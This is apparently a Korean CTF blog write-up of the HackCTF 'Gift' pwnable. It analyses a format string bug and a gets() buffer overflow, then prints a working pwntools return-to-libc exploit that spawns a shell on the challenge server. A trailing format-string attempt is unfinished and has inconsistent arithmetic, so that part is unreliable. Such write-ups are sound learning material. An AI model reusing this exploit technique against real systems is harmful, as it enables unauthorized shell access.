[HackCTF] Gift
System/PWNABLE

[HackCTF] Gift

check

- 32bit

- NX

Analyze

psuedo code

main()

- binsh 문자열의 주소와 system 함수의 주소를 출력한다.

- 128byte만큼 사용자로부터 fgets함수를 통해 입력받고 입력받은 내용을 출력한다.

- printf(&s)에서 포맷스트링을 직접 출력인자로 넣으면서 FSB 취약점이 발생한다. 

- 0x84byte만큼 할당되어 있는 스택 버퍼 s에 gets를 통해 길이 제한없이 값을 입력받으면서 BOF 취약점이 발생한다.

- 변수 binsh는 bss 영역에 정의된 초기화되지 않은 변수이다. 즉 binsh 변수에 "/bin/sh\x00"을 저장하여 사용할 수 있을 듯 하다. + bss 영역이기 때문에 ASLR이 적용되어 있어도 주소값이 달라지지 않는다.

실행

- 변수 binsh와 system 함수의 고정 주소를 출력하고 값을 입력받도록 한다.

- 첫번째 입력에서 입력한 내용은 첫번째 포맷스트링부터 차례로 참조된다.

>> FSB 취약점을 이용해 fgets에서 binsh 변수에 "/bin/sh\x00"을 덮어쓰고, gets함수에서 BOF 취약점을 이용해 system("/bin/sh"); 가 되도록 한다.

Exploit - RTL

FSB로 풀어보기에 앞서 BOF 취약점만을 이용해 binsh변수의 주소에 그냥 문자열 "/bin/sh\x00"을 저장하여 exploit할 수 있다.

from pwn import *
#context.log_level = 'debug'
#p = process("./gift")
p = remote("ctf.j0n9hyun.xyz", 3018)
elf = ELF("./gift")
p.recvuntil("Hey guyssssssssss here you are: ")
binsh = int(p.recv(9),16)
p.recvuntil(" ")
system = int(p.recv(10), 16)
log.info("binsh address: "+hex(binsh))
log.info("system address: "+hex(system))

gets = 0x80483d0 #gets@plt
pop = 0x80483ad

p.sendline("AAAA")
p.recvline("\n")
pl = "A"*(0x84 +4)
pl += p32(gets)
pl += p32(pop)
pl += p32(binsh)

pl += p32(system)
pl += "BBBB"
pl += p32(binsh)

p.sendline(pl)
p.send("/bin/sh\x00")
p.interactive()

 

! 성공 !

FSB 취약점을 이용해 binsh변수의 주소를 "/bin/sh"로 덮어쓰려고도 해봤는데 FSB는 아직 너무 어렵다...ㅠㅠ

더보기

Exploit - FSB

"/bin/sh\x00"을 16진수로 바꾸어 한 번에 넣기에 값이 너무 크기 때문에 1byte씩 나눠 넣도록 한다.

/b = 0x2f62 = 12130

in = 0x696e = 26990

/s = 0x2f73 = 12147

h\x00 = 0x68 = 104

 

 

binsh 변수의 주소 = 0x849940

FSB 정리를 보면 %n을 이용해 값을 나누어 덮어쓸 때에는 화면에 이미 출력된 문자열의 길이를 고려해야하기 때문에 

  • /b = 0x2f62
  • in = 0x696e → 0x696e - 0x2f62 = 0x3a0c = 14860
  • /s = 0x2f7e → 0x2f7e - 0x696e < 0 음수가 되기 때문에 앞에 1을 붙여 계산한다 → 0x12f7e - 0x696e = 

리눅스에서는 리틀 엔디언 방식을 사용하기 때문에 하위 비트먼저 넣어야 한다.

여기서 %n 앞에 입력한 내용의 자릿수만큼을 입력내용 위치이후의 4byte에 주소값으로 저장

SMALL

'System > PWNABLE' 카테고리의 다른 글

[ROP Emporium] ret2win  (0) 2021.03.18
[HackCTF] Pwning (재)  (0) 2021.03.08
[HackCTF] Look at me (재)  (0) 2021.03.03
[HackCTF] RTL core  (0) 2021.02.14
[HackCTF] Random Key  (0) 2021.02.13